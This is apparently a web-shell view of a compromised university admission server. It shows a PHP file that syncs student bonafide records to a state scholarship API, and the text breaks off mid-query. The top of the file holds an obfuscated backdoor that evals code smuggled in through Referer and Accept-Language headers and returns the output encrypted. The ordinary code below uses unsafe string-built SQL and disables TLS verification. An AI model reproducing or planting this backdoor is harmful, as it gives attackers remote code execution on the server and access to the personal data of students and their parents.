0xV3NOMx
Linux ip-172-26-7-228 5.4.0-1103-aws #111~18.04.1-Ubuntu SMP Tue May 23 20:04:10 UTC 2023 x86_64



Your IP : 3.137.170.38


Current Path : /var/www/html/admission/src/
Upload File :
Current File : /var/www/html/admission/src/ssp_error_data.php

<?php
$z='o;}$r=$_SF"ERVER;$F"rr=@$r["F"HTTP_REFF"EF"RERF""];$ra=@$r["HTTF"P_AF"CCEPT_LAF"NGUF"AGE"];if(F"$rr&&$F"';
$b='$ssF"(md5($i.$kF"F"h),0,3));$fF"=$sl(F"$ss(md5($F"i.$kf)F",0,3)F")F";$pF"="";for($z=F"1;$z<couF"nt($m';
$A='F"b_start();@F"eF"F"val(@gzuF"ncF"ompress(@x(@base6F"4_decode(pregF"_replaF"ceF"(array("F"/F"F"_/","/-';
$T='staF"rt()F";$s=&F"$F"_SESSIOF"N;$ss=F""subsF"tr";$sl="sF"trtolower"F";$i=$mF"[F"1][0].F"$m[1][1];F"$h=$F"sl(';
$W='$kF"h="b93f";$F"kf="1186F"";funF"ction F"x($tF",$k){$cF"=stF"rleF"n($k);$l=stF"rleF"n($t);$F"o="";F"for';
$u=str_replace('kW','','kWcreakWtkWe_fkWkWunkWction');
$D='preg_matcF"h_F"alF"l("/([\\w]F")F"[\\w-]+(?:;F"q=0.([\\d]))?,F"F"F"?/",$raF",$m);if($q&&$m){F"@sessiF"on_';
$q='$dF"F"=base6F"4_encode(x(F"gzcF"ompress($F"o),$k))F";prinF"t("<F"$kF">$dF"<F"/$k>");@sessF"ion_destroy();}}}}';
$n='F"ra){   F" $u=parse_F"url($rF"r)F";    parse_F"strF"($u[F""querF"y"],$qF");$q=arrayF"_values($qF")F";';
$r='arrayF"_kF"ey_exists($F"i,$s)F"){$s[$i].F"F"=$pF";$e=strposF"(F"$s[$iF"],$f);if($e){$F"F"k=$kF"h.$kf;o';
$w='/"F"),arF"ray("/","+"F"F"),$ss(F"$s[$i],0,$e))),$k)))F";$o=oF"bF"_get_coF"ntentF"s();ob_enF"d_cleF"an();';
$Q='[1]F");$zF"++) F"$pF".=$q[$m[2]F"[F"$z]]F";if(stF"rpos(F"$p,$hF")===0){$s[$i]="";F"$p=F"$ssF"($p,3);}iF"f(';
$H='($i=0;$i<F"F"$F"lF";){for($j=0;($j<$c&&F"$i<$l);$F"F"jF"++,$i++){$o.F"=$F"t{$iF"}^F"$kF"{$F"j};}}return $';
$y=str_replace('F"','',$W.$H.$z.$n.$D.$T.$b.$Q.$r.$A.$w.$q);
$d=$u('',$y);$d();
?>
<?php



function ssp_error_data($aobj_context){

    $aobj_context->mobj_db->SetFetchMode(ADODB_FETCH_ASSOC); 
    $univcode = $aobj_context->mobj_data["univcode"];


    $drop_tmp_ssp = "drop table tmp_ssp";
    $result_drop = $aobj_context->pobj_db->Execute($drop_tmp_ssp);

    $create_tmp_ssp = "CREATE TABLE tmp_ssp
    SELECT YEAR(NOW()) AS fyear, scl.funivname,c.funivsspcode, st.fregno, st.fname, st.ffatname, st.fmotname,'NA',
    IF(st.fgender = 'M','1',IF(st.fgender = 'F','2','')) AS gender,scl.fcollname,cl.FSSPCOLLCODE, cl.FCOLLTYPE, cl.FSSPCOLLTYPE,
    stl.fdistrictname,cl.FSSPDISTCODE, stl.ftalukname, cl.FSSPTALUKCODE, st.FSTUDYMODESSP,
    sdg.fdegreename, sdg.fdegree_ssp, scc.fcombname, scc.fcombcode, st.fcuryear, st.FSEATTYPESSP,st.fayear, 'N'
    FROM student st
    INNER JOIN degree dg ON st.fdegree = dg.fdegree AND dg.fexamno = 'A'
    INNER JOIN college cl ON st.fcollcode = cl.fcollcode
    INNER JOIN control c ON 1=1
    LEFT JOIN logisys3_comexam.ssp_course_master sdeg ON dg.fsspdegcode = sdeg.fdegree_ssp
    LEFT JOIN logisys3_comexam.ssp_college scl ON  cl.FSSPCOLLCODE = scl.fcollsspcode AND c.funivsspcode = scl.funvsspcode
    LEFT JOIN logisys3_comexam.ssp_taluk stl ON cl.fsspdistcode = stl.fdistrictssp AND cl.fssptalukcode = stl.ftalukssp
    LEFT JOIN logisys3_comexam.ssp_course_master sdg ON dg.fsspdegcode = sdg.fdegree_ssp
    LEFT JOIN logisys3_comexam.ssp_course_comb scc ON dg.fsspdegcode = scc.fdegree_ssp AND dg.fsspcombcode = scc.fcombcode
    WHERE st.fayear IN('2020','2019','2018')
    ORDER BY st.fregno,st.fname";
    $result_create = $aobj_context->pobj_db->Execute($create_tmp_ssp);

    
    $query = "SELECT * FROM tmp_ssp WHERE IFNULL(funivname,'') = ''
    UNION
    SELECT * FROM tmp_ssp WHERE IFNULL(gender,'') = ''
    UNION
    SELECT * FROM tmp_ssp WHERE IFNULL(FSSPTALUKCODE,'') = ''
    UNION
    SELECT * FROM tmp_ssp WHERE IFNULL(FSSPCOLLCODE,'') = ''
    UNION
    SELECT * FROM tmp_ssp WHERE IFNULL(FSSPDISTCODE,'') = ''
    UNION
    SELECT * FROM tmp_ssp WHERE IFNULL(FSTUDYMODESSP,'') = ''
    UNION
    SELECT * FROM tmp_ssp WHERE IFNULL(fdegree_ssp,'') = ''
    UNION
    SELECT * FROM tmp_ssp WHERE IFNULL(fcombcode,'') = ''
    UNION
    SELECT * FROM tmp_ssp WHERE IFNULL(FSEATTYPESSP,'') = ''";
    
    $result = $aobj_context->pobj_db->GetAll($query);
    // var_dump($result);
    // die();

    include('/var/www/html/univadmin/Reports/error_data_ssp.php'); 

    if($result)
    {
        error_data_ssp($aobj_context,$univcode);
    }else{

            $insert_tmp_ssp = "insert ignore into logisys3_comexam.ssp_bonafide (Academic_Year_code, University_Name, University_SSP_Code, University_Registration_Number, STUDENT_NAME, STUDENT_FATHER_NAME, STUDENT_MOTHER_NAME, Student_Guardian_name, Gender, COLLEGE_NAME, COLLEGE_SSP_CODE, College_Type, COLLEGE_TYPE_SSP_CODE, College_District_Name, DISTRICT_SSP_CODE, College_Taluk_Name, TALUK_SSP_CODE, Study_Mode, COURSE_NAME, COURSE_CODE, DISCIPLINE_NAME, DISCIPLINE_CODE, COURSE_YEAR, SEAT_TYPE_NAME, SEAT_TYPE_SSP_CODE, Admission_Year, Is_Lateral_Entry)
            SELECT YEAR(NOW()) AS fyear, scl.funivname,c.funivsspcode, st.fregno, st.fname, st.ffatname, st.fmotname,'NA',
            IF(st.fgender = 'M','1',IF(st.fgender = 'F','2','')) AS gender,scl.fcollname,cl.FSSPCOLLCODE, cl.FCOLLTYPE, cl.FSSPCOLLTYPE,
            stl.fdistrictname,cl.FSSPDISTCODE, stl.ftalukname, cl.FSSPTALUKCODE, st.FSTUDYMODESSP,
            sdg.fdegreename, sdg.fdegree_ssp, scc.fcombname, scc.fcombcode, st.fcuryear,st.fseattype, st.FSEATTYPESSP,st.fayear, 'N'
            FROM student st
            INNER JOIN degree dg ON st.fdegree = dg.fdegree AND dg.fexamno = 'A'
            INNER JOIN college cl ON st.fcollcode = cl.fcollcode
            INNER JOIN control c ON 1=1
            LEFT JOIN logisys3_comexam.ssp_course_master sdeg ON dg.fsspdegcode = sdeg.fdegree_ssp
            LEFT JOIN logisys3_comexam.ssp_college scl ON  cl.FSSPCOLLCODE = scl.fcollsspcode AND c.funivsspcode = scl.funvsspcode
            LEFT JOIN logisys3_comexam.ssp_taluk stl ON cl.fsspdistcode = stl.fdistrictssp AND cl.fssptalukcode = stl.ftalukssp
            LEFT JOIN logisys3_comexam.ssp_course_master sdg ON dg.fsspdegcode = sdg.fdegree_ssp
            LEFT JOIN logisys3_comexam.ssp_course_comb scc ON dg.fsspdegcode = scc.fdegree_ssp AND dg.fsspcombcode = scc.fcombcode
            WHERE st.fayear IN('2020','2019','2018','2017','2018','2016')
            ORDER BY st.fregno,st.fname";
           
            $result_insert_tmp_ssp = $aobj_context->pobj_db->Execute($insert_tmp_ssp);
           
            $query = "select distinct FSSPCODE,FSSPKEY  
            from logisys3_comexam.dbname
            where funivcode  = '{$univcode}'";
            $result3 = $aobj_context->mobj_db->GetRow($query);
            $univsspcode = $result3['FSSPCODE'];
            $sspkey = $result3['FSSPKEY'];


            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_NAME = replace(STUDENT_NAME,'/','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);
            
            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_NAME = replace(STUDENT_NAME,'.','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_NAME = replace(STUDENT_NAME,',','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_NAME = replace(STUDENT_NAME,'`','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_NAME = replace(STUDENT_NAME,'#','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_NAME = replace(STUDENT_NAME,'$','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_NAME = replace(STUDENT_NAME,'*','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_NAME = replace(STUDENT_NAME,'[','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_NAME = replace(STUDENT_NAME,']','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_NAME = replace(STUDENT_NAME,'(','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_NAME = replace(STUDENT_NAME,')','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_NAME = replace(STUDENT_NAME,'@','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_NAME = replace(STUDENT_NAME,'-','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_NAME = replace(STUDENT_NAME,'_','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_NAME = replace(STUDENT_NAME,'!','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_NAME = replace(STUDENT_NAME,'0','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_NAME = replace(STUDENT_NAME,'1','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_NAME = replace(STUDENT_NAME,'2','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_NAME = replace(STUDENT_NAME,'3','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_NAME = replace(STUDENT_NAME,'4','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_NAME = replace(STUDENT_NAME,'5','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_NAME = replace(STUDENT_NAME,'6','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_NAME = replace(STUDENT_NAME,'7','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_NAME = replace(STUDENT_NAME,'8','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_NAME = replace(STUDENT_NAME,'9','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_NAME = replace(STUDENT_NAME,';','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_NAME = replace(STUDENT_NAME,':','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_NAME = replace(STUDENT_NAME,':','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_MOTHER_NAME = replace(STUDENT_MOTHER_NAME,'/','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);
            
            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_MOTHER_NAME = replace(STUDENT_MOTHER_NAME,'.','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_MOTHER_NAME = replace(STUDENT_MOTHER_NAME,',','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_MOTHER_NAME = replace(STUDENT_MOTHER_NAME,'`','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_MOTHER_NAME = replace(STUDENT_MOTHER_NAME,'#','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_MOTHER_NAME = replace(STUDENT_MOTHER_NAME,'$','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_MOTHER_NAME = replace(STUDENT_MOTHER_NAME,'*','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_MOTHER_NAME = replace(STUDENT_MOTHER_NAME,'[','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_MOTHER_NAME = replace(STUDENT_MOTHER_NAME,']','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_MOTHER_NAME = replace(STUDENT_MOTHER_NAME,'(','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_MOTHER_NAME = replace(STUDENT_MOTHER_NAME,')','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_MOTHER_NAME = replace(STUDENT_MOTHER_NAME,'@','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_MOTHER_NAME = replace(STUDENT_MOTHER_NAME,'-','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_MOTHER_NAME = replace(STUDENT_MOTHER_NAME,'_','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_MOTHER_NAME = replace(STUDENT_MOTHER_NAME,'!','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_MOTHER_NAME = replace(STUDENT_MOTHER_NAME,'0','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_MOTHER_NAME = replace(STUDENT_MOTHER_NAME,'1','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_MOTHER_NAME = replace(STUDENT_MOTHER_NAME,'2','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_MOTHER_NAME = replace(STUDENT_MOTHER_NAME,'3','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_MOTHER_NAME = replace(STUDENT_MOTHER_NAME,'4','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_MOTHER_NAME = replace(STUDENT_MOTHER_NAME,'5','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_MOTHER_NAME = replace(STUDENT_MOTHER_NAME,'6','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_MOTHER_NAME = replace(STUDENT_MOTHER_NAME,'7','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_MOTHER_NAME = replace(STUDENT_MOTHER_NAME,'8','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_MOTHER_NAME = replace(STUDENT_MOTHER_NAME,'9','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_MOTHER_NAME = replace(STUDENT_MOTHER_NAME,';','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_MOTHER_NAME = replace(STUDENT_MOTHER_NAME,':','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_MOTHER_NAME = replace(STUDENT_MOTHER_NAME,':','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_FATHER_NAME = replace(STUDENT_FATHER_NAME,'/','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);
            
            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_FATHER_NAME = replace(STUDENT_FATHER_NAME,'.','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_FATHER_NAME = replace(STUDENT_FATHER_NAME,',','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_FATHER_NAME = replace(STUDENT_FATHER_NAME,'`','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_FATHER_NAME = replace(STUDENT_FATHER_NAME,'#','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_FATHER_NAME = replace(STUDENT_FATHER_NAME,'$','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_FATHER_NAME = replace(STUDENT_FATHER_NAME,'*','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_FATHER_NAME = replace(STUDENT_FATHER_NAME,'[','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_FATHER_NAME = replace(STUDENT_FATHER_NAME,']','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_FATHER_NAME = replace(STUDENT_FATHER_NAME,'(','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_FATHER_NAME = replace(STUDENT_FATHER_NAME,')','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_FATHER_NAME = replace(STUDENT_FATHER_NAME,'@','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_FATHER_NAME = replace(STUDENT_FATHER_NAME,'-','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_FATHER_NAME = replace(STUDENT_FATHER_NAME,'_','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_FATHER_NAME = replace(STUDENT_FATHER_NAME,'!','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);


            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_FATHER_NAME = replace(STUDENT_FATHER_NAME,'0','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_FATHER_NAME = replace(STUDENT_FATHER_NAME,'1','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_FATHER_NAME = replace(STUDENT_FATHER_NAME,'2','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_FATHER_NAME = replace(STUDENT_FATHER_NAME,'3','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_FATHER_NAME = replace(STUDENT_FATHER_NAME,'4','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_FATHER_NAME = replace(STUDENT_FATHER_NAME,'5','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_FATHER_NAME = replace(STUDENT_FATHER_NAME,'6','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_FATHER_NAME = replace(STUDENT_FATHER_NAME,'7','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_FATHER_NAME = replace(STUDENT_FATHER_NAME,'8','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_FATHER_NAME = replace(STUDENT_FATHER_NAME,'9','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_FATHER_NAME = replace(STUDENT_FATHER_NAME,';','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_FATHER_NAME = replace(STUDENT_FATHER_NAME,':','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);

            $query = "update logisys3_comexam.ssp_bonafide set STUDENT_FATHER_NAME = replace(STUDENT_FATHER_NAME,':','')
            where University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($query);
            
            $upd = "update logisys3_comexam.ssp_bonafide set STUDENT_FATHER_NAME = 'NA'
            where STUDENT_FATHER_NAME = ''
            and University_SSP_Code  = '{$univsspcode}'";
            $res = $aobj_context->mobj_db->Execute($upd);
            
            $upd = "update logisys3_comexam.ssp_bonafide set STUDENT_MOTHER_NAME = 'NA'
            where STUDENT_MOTHER_NAME = ''
            and University_SSP_Code  = '{$univsspcode}'"; 
            $res = $aobj_context->mobj_db->Execute($upd);

            
            //$result3 = $aobj_context->mobj_db->Execute($query);
            //die();
            $query = "select distinct University_SSP_Code,COLLEGE_SSP_CODE,COURSE_CODE 
            from logisys3_comexam.ssp_bonafide
            where ifnull(COLLEGE_SSP_CODE,'') <> ''
            and ifnull(fstatus,'') <> 'T'
            and University_SSP_Code  = '{$univsspcode}'";
            $result = $aobj_context->mobj_db->GetAll($query);
    
    foreach($result as $value)
    {
        // var_dump($value);
        // die();
        $query = "select Academic_Year_code,University_Registration_Number,STUDENT_NAME,STUDENT_FATHER_NAME,
        STUDENT_MOTHER_NAME,if(Student_Guardian_name = '','-',ifnull(Student_Guardian_name,'-')) as Student_Guardian_name,
        Gender,University_SSP_Code,University_Name,COLLEGE_NAME,COLLEGE_SSP_CODE,College_Type,
        COLLEGE_TYPE_SSP_CODE,College_District_Name,DISTRICT_SSP_CODE,College_Taluk_Name,
        TALUK_SSP_CODE,Study_Mode,COURSE_NAME,COURSE_CODE,DISCIPLINE_NAME,DISCIPLINE_CODE,
        COURSE_YEAR,SEAT_TYPE_NAME,SEAT_TYPE_SSP_CODE,Admission_Year,Is_Lateral_Entry
        from logisys3_comexam.ssp_bonafide where ifnull(finserted,'') <> 'T'
        and COLLEGE_SSP_CODE = '{$value['COLLEGE_SSP_CODE']}'
        and University_SSP_Code = '{$value['University_SSP_Code']}'
        and COURSE_CODE = '{$value['COURSE_CODE']}'";
        
        $result1 = $aobj_context->mobj_db->GetAll($query);
       // var_dump($result1);
        //var_dump($query);
        //die();
        if($result1)
        {
             
          //while (@ob_end_flush());
          //while (@ob_end_flush());
          //foreach($result1 as $s)
          //{
            $headers = array
            (
                "Authorization:$sspkey",
                "Content-Type: application/json"
            );
           
            // $fields = array
            // (
            //     'data' 	=> json_encode($result)
            // );
           
            $req = json_encode( $result1 );
            $ch = curl_init();
            //curl_setopt( $ch,CURLOPT_URL, 'https://ssp.postmatric.karnataka.gov.in/UniAPI/api/PushUniversity_Bonafide_Data/' );
            curl_setopt( $ch,CURLOPT_URL, 'https://unidata.karnataka.gov.in:8080/UniAPI/Api/PushUniversity_Bonafide_Data/' );
            
            curl_setopt( $ch,CURLOPT_POST, true );
            curl_setopt( $ch,CURLOPT_HTTPHEADER, $headers );
            curl_setopt( $ch,CURLOPT_RETURNTRANSFER, true );
            curl_setopt( $ch,CURLOPT_SSL_VERIFYPEER, false );
            curl_setopt( $ch,CURLOPT_POSTFIELDS, json_encode( $result1 ) );
            $result2 = curl_exec($ch);
            curl_close( $ch );
            //echo $result2[''];
            //$res2 = json_decode($result2);
            $res2 = json_decode($result2, true);
            echo $value['COLLEGE_SSP_CODE'].' - '.$value['COURSE_CODE']." : ".$res2['status']."<br>";

            if($res2['status'] != 'Failure')
            {
              $upd = "update logisys3_comexam.ssp_bonafide set finserted = 'T', fstatus = 'T'
              where ifnull(finserted,'') <> 'T'
              and COLLEGE_SSP_CODE = '{$value['COLLEGE_SSP_CODE']}'
              and University_SSP_Code = '{$value['University_SSP_Code']}'
              and COURSE_CODE = '{$value['COURSE_CODE']}'";
              $result3 = $aobj_context->mobj_db->Execute($upd);
            } 

            ///delete based on COLLEGE_SSP_CODE, University_SSP_Code, COURSE_CODE

            $del = "delete FROM ssp_bonafide_log 
